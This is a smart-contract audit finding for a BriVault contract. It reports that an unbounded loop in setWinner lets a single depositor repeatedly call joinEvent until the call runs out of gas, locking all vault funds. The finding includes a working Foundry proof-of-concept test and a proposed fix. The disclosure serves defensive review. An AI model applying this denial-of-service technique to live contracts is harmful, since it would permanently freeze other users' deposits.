Submission Details
Severity:
Gas DoS on `setWinner` locks funds forever
Root + Impact
Description
-
The
setWinnerfunction is called by the owner after the event ends to declare the winning team. -
The
joinEventfunction pushesmsg.sendertousersAddresswithout duplicate check which allows a single user to bloat the array
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
@> usersAddress.push(msg.sender); // No duplicate check - grows unbounded
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
if (block.timestamp <= eventEndDate) {
revert eventNotEnded();
}
require(countryIndex < teams.length, "Invalid country index");
if (_setWinner) {
revert WinnerAlreadySet();
}
winnerCountryId = countryIndex;
winner = teams[countryIndex];
_setWinner = true;
@> _getWinnerShares(); // Calls expensive loop
_setFinallizedVaultBalance();
emit WinnerSet (winner);
return winner;
}
function _getWinnerShares () internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i){ // Unbounded loop
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
modifier winnerSet () {
@> if (_setWinner != true) { // Requires setWinner to have succeeded
revert winnerNotSet();
}
_;
}
function withdraw() external winnerSet { // Cannot be called if setWinner failed
// ...
}
Risk
Likelihood:
-
Any user who has deposited can call
joinEventan unlimited number of times before the event starts -
No priviledge access required
Impact:
-
Complete DOS as the transaction will always run out of gas
-
All vault funds become permanently locked
Proof of Concept
// SPDX-License-Identifier: MIT
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract GasDoSTest is Test {
BriVault public vault;
ERC20Mock public asset;
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(
asset,
300,
block.timestamp + 1 days,
makeAddr("feeAddress"),
10 * 10**18,
block.timestamp + 30 days
);
string[48] memory countries;
countries[0] = "Team A";
vault.setCountry(countries);
vm.stopPrank();
// Attacker deposits minimal amount
asset.mint(attacker, 100 * 10**18);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vault.deposit(100 * 10**18, attacker);
vm.stopPrank();
}
function testGasDoSLocksAllFunds() public {
// Attacker calls joinEvent 5000 times to bloat usersAddress
vm.startPrank(attacker);
for (uint256 i = 0; i < 5000; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
// Fast forward past event end
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
vm.expectRevert(); // Will revert due to out of gas
vault.setWinner(0);
// Verify winner was not set
assertEq(vault._setWinner(), false, "Winner should not be set");
// Attacker cannot withdraw because winner not set
vm.prank(attacker);
vm.expectRevert(BriVault.winnerNotSet.selector);
vault.withdraw();
// Funds permanently locked
assertGt(asset.balanceOf(address(vault)), 0, "Funds locked in vault");
}
function testGasConsumptionScalesWithArraySize() public {
// Measure gas for different array sizes
uint256[] memory sizes = new uint256[](3);
sizes[0] = 100;
sizes[1] = 1000;
sizes[2] = 5000;
for (uint256 s = 0; s < sizes.length; s++) {
// Fresh setup for each test
setUp();
vm.startPrank(attacker);
for (uint256 i = 0; i < sizes[s]; i++) {
vault.joinEvent(0);
}
vm.stopPrank();
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
uint256 gasBefore = gasleft();
try vault.setWinner(0) {
uint256 gasUsed = gasBefore - gasleft();
console.log("Array size:", sizes[s], "Gas used:", gasUsed);
} catch {
console.log("Array size:", sizes[s], "OUT OF GAS");
}
}
}
}
Recommended Mitigation
+ mapping(uint256 => uint256) public countryTotalShares;
+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
+ if (hasJoined[msg.sender]) {
+ revert("Already joined");
+ }
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
- usersAddress.push(msg.sender);
+ countryTotalShares[countryId] += participantShares;
+ hasJoined[msg.sender] = true;
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
- function _getWinnerShares () internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i){
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
- }
+ function _getWinnerShares () internal returns (uint256) {
+ return totalWinnerShares = countryTotalShares[winnerCountryId];
+ }
Updates
Appeal created
bube 19 days ago
Submission Judgement Published Assigned finding tags:
Unbounded Loop in _getWinnerShares Causes Denial of Service
The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.